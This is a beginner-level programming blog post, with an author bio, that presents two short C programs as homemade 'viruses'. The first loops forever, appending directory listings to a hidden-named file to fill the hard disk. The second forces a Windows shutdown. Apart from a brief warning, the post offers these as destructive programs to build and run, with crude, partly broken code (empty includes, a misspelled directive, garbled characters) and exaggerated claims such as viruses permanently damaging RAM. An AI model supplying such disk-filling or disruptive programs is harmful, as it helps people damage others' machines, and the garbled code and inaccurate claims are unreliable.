About Me

My photo
India
Hey there, lovely people! I'm Hemant Menaria, and I'm passionate about programming. Having completed my MCA in 2011, I've delved into the world of coding with fervor. I believe in sharing knowledge, making complex concepts easy to grasp for everyone. JAVA, PHP, and ANDROID hold a special place in my heart, and I spend most of my time immersed in them. Currently, I'm deeply engaged in API/Webservice frameworks and crafting Hybrid mobile applications to enhance flexibility in the digital realm. If you ever find yourself stuck with a programming challenge, feel free to reach out to me at +91-8955499900 or drop me a line at hemantmenaria008@gmail.com. I'm always eager to help fellow enthusiasts navigate the intricacies of coding!

virus in C

Making A simple virus in C for Beginners



Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now let me explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy and engulf a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000
Compiler:-
MS-DOS, borland
Source Code:-


EX 1: //START v.c

#include
#include
void main()
{
    while(1) //you can also give some break condition there.
    {
     
system("dir>>â•ša.exe");
    }
}

As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>â•ša.exe" will execute the dos command 'dir' and ridirect its output toa file â•ša.exe(the symbol â•š can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of â•ša.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;

======================================================================



EX2: Make Virus in C :

#inlcude "process.h"
void main(void)
{
     system("shutdown -s");
}
  • Save the above .Let file name is close.c and compile and execute the above program.
  • Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory c:\tc\bin).
  • Double click the its exe file(close.exe).After some time your window will shutdown.